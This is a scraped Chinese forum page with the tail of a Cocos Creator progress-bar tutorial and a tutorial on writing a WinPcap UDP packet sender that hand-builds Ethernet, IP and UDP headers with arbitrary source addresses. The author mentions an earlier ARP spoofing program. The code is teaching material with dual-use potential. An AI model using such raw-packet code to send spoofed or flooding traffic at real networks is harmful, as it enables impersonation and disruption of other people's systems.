    创建脚本文件,当然我们在创建脚本文件的时候,需要自定义properties属性来让脚本这个类来接收UI控件并关联
    cc.Class({ extends: cc.Component, // 脚本自定义的属性,当前自定义的属性会在属性检查中查看到 properties: { speed: 1, progressBarView: { type: cc.ProgressBar, default: null } }, //当我们将脚本添加到节点 `node`上面的时候 onLoad: function () { this._ping = true; this.progressBarView.progress = 0; }, //如果该组件启用,则每帧调用 update //dt:Number the delta time in seconds it took to complete the last frame update: function (dt) { this._updateProgressBar(this.progressBarView, dt); }, _updateProgressBar: function(progressBar, dt){ var progress = progressBar.progress; if(progress < 1.0 && this._ping){ progress += dt * this.speed; } else { progress -= dt * this.speed; this._ping = progress <= 0; } progressBar.progress = progress; }});
    当我们在写完这些的时候,将脚本文件添加到节点上面,拖拽创建的控件ProgressBarView到我的属性progressBarView上,这样程序就会发现进度条在走。

    3. 总结在现实中,我们可能需要从服务器预加载资源,这时就需要进度条来表示进度。比如使用cc.loader加载资源,同时监控加载进度,之后再用update显示。
    本资源部分素材来源于网络。
    1 回答 2018-11-28 14:54:25
  • 基于WinPcap实现的UDP发包程序

    背景一天,一位同学打电话给我说,让我帮忙开发一个基于WinPcap工具的UDP发包工具,还特地叮嘱是基于WinPcap,不要原始套接字Raw Socket。而且,时间只有一个白天,它晚上就要,而打电话给我的时候,已经临近中午了。我一听,同学一场,那就举手之劳吧。
    之前,自己就是用WinPcap开发过一些小程序,例如网卡遍历程序、Arp欺骗攻击程序等,所以,对WinPcap还算是熟悉。做这样的UDP发包程序,应该倒也不是那没事。
    现在,为了配合这篇文章的讲解,我特地对这个程序重新开发。把程序的实现原理和过程整理成文档,分享给大家。
    使用VS2013配置WinPcap开发环境程序是使用VS2013开发的,程序中要使用WinPcap工具提供的功能函数的话,就需要将对VS2013进行配置,将WinPcap库导入到程序中,现在,就先介绍WinPcap环境的配置过程:
    1.下载并安装WinPcap运行库http://www.winpcap.org/install/default.htm 。一些捕包软件会捆绑安装WinPcap,MentoHust也会附带WinPcap,这种情况下一般可以跳过此步。
    2.下载WinPcap开发包http://www.winpcap.org/devel.htm ,解压到纯英文路径。
    3.打开VS工程项目,在VS工程项目的 属性 —> VC++目录 中,包含目录 选项添加WpdPack\Include 目录,在 库目录 选项中添加 WpdPack\Lib 目录。
    4.在 属性 —> C/C++ —> 预处理器 中,添加 WPCAP 和 HAVE_REMOTE 这两个宏定义。
    5.在VS工程项目的 属性 —> 链接器 —> 输入 中,添加 wpcap.lib 和 ws2_32.lib 两个库。
    这样,就可以将WinPcap所需的库文件包含到工程项目中了。接下来,我们就开始讲解UDP发包程序的实现过程。
    实现过程1. 获取网卡设备列表首先,我们调用WinPcap函数pcap_findalldevs_ex获取设备列表信息,函数会将计算机上所有网卡设备信息返回到指向pcap_if_t结构体指针里。我们只需要对这个结构体指针进行遍历,就可以获取每个设备的详细信息。
    // 获取网卡设备列表 if (-1 == pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, szErr)) { ShowError("pcap_findalldevs_ex"); return; }
    程序将每个设备的信息显示在界面上,供用户选中使用哪个网卡进行操作。
    2. 设置网卡信息并打开网卡我们使用 pcap_open 函数来设置并打开网卡,函数中第 1 个参数stAdapterInfo. szAdapterName,表示网卡的名称;第 2 个参数 65535,表示设置保留数据包的长度,65535即每个数据包的前65535字节长度的数据被保留在缓冲区中;第 3 个参数 PCAP_OPENFLAG_DATATX_UDP 表示使用UDP协议来处理数据传输;第 4 个参数 1 ,表示以毫秒为单位的读取超时时间。读取超时用来处理,捕获一个数据包后,读操作并不必需要立即返回的情况。但这可能等待一些时间以允许捕获更多的数据包,这样用户层的一次读操作就可从操作系统的内核中读取更多的数据包。第 5 个参数为 NULL;第 6 个参数 errbuf,可以获取返回的出错信息。
    // 打开网卡 m_adhandle = pcap_open(stAdapterInfo.szAdapterName, 65535, PCAP_OPENFLAG_DATATX_UDP, 1, NULL, errbuf); if (NULL == m_adhandle) { ShowError("pcap_open"); return; }
    3. 构造UDP数据包我们根据源MAC地址、目的MAC地址、源IP地址、目的IP地址、源端口、目的端口、数据内容以及数据内容长度,构造UDP数据包。具体构造过程如下:

    首先,构造以太网帧头。
    memcpy((void*)FinalPacket, (void*)DestinationMAC, 6); memcpy((void*)(FinalPacket + 6), (void*)SourceMAC, 6); USHORT TmpType = 8; memcpy((void*)(FinalPacket + 12), (void*)&TmpType, 2);
    然后,构造IP头。
    memcpy((void*)(FinalPacket + 14), (void*)"\x45", 1); memcpy((void*)(FinalPacket + 15), (void*)"\x00", 1); TmpType = htons(TotalLen); memcpy((void*)(FinalPacket + 16), (void*)&TmpType, 2); TmpType = htons(0x1337); memcpy((void*)(FinalPacket + 18), (void*)&TmpType, 2); memcpy((void*)(FinalPacket + 20), (void*)"\x00", 1); memcpy((void*)(FinalPacket + 21), (void*)"\x00", 1); memcpy((void*)(FinalPacket + 22), (void*)"\x80", 1); memcpy((void*)(FinalPacket + 23), (void*)"\x11", 1); memcpy((void*)(FinalPacket + 24), (void*)"\x00\x00", 2); memcpy((void*)(FinalPacket + 26), (void*)&SourceIP, 4); memcpy((void*)(FinalPacket + 30), (void*)&DestIP, 4);
    接着,构造UDP头。
    TmpType = htons(SourcePort); memcpy((void*)(FinalPacket + 34), (void*)&TmpType, 2); TmpType = htons(DestinationPort); memcpy((void*)(FinalPacket + 36), (void*)&TmpType, 2); USHORT UDPTotalLen = htons(UserDataLen + 8); memcpy((void*)(FinalPacket + 38), (void*)&UDPTotalLen, 2); memcpy((void*)(FinalPacket + 42), (void*)UserData, UserDataLen);

    要注意的是,IP校验和以及UDP的校验和计算。这样,我们就可以成功构造UDP的数据包,接下来,就可以对数据包进行发送。
    4. 发送UDP数据包我们使用 pcap_sendpacket 函数发送单个数据包,第 1 个参数表示打开网卡的时候获取的句柄;第 2 个参数就是发送的数据内容;第 3 个参数表示发送数据内容的长度。注意,缓冲数据将直接发送到网络,而不会进行任何加工和处理。这就意味着应用程序需要创建一个正确的协议首部,来使这个数据包更有意义。
    // 发送数据包 if (0 != pcap_sendpacket(m_adhandle, FinalPacket, (UserDataLen + 42))) { char *szErr = pcap_geterr(m_adhandle); ShowError(szErr); return; }
    经过上面 4 步操作,便可以实现使用 WinPcap 发送 UDP 数据包了。要注意IP校验和以及UDP校验和的计算,这两个的值注意不要算错。
    程序测试我们以管理员权限运行程序,并对一个UDP程序发包,观察UDP程序能否接收到我们发包程序发送的UDP数据包。其中,UDP程序使用的是《Socket通信之UDP通信小程序》这篇文章中实现的UDP程序。
    经过测试结果,UDP程序成功接收到UDP数据包。

    总结这个程序是基于WinPcap实现的,所以,可能有很多人之前还没有接触过WinPcap方面的知识,所以,一下子使用和理解起来就比较困难。关键是耐下心来,把程序中调用到的不理解的WinPcap函数,在网上查找说明,对函数理解清晰。
    其中,要注意的是,使用WinPcap工具,需要有管理员权限。
    参考参考自《Windows黑客编程技术详解》一书
    3 回答 2018-11-28 11:22:48
显示 45 到 60 ,共 15 条
eject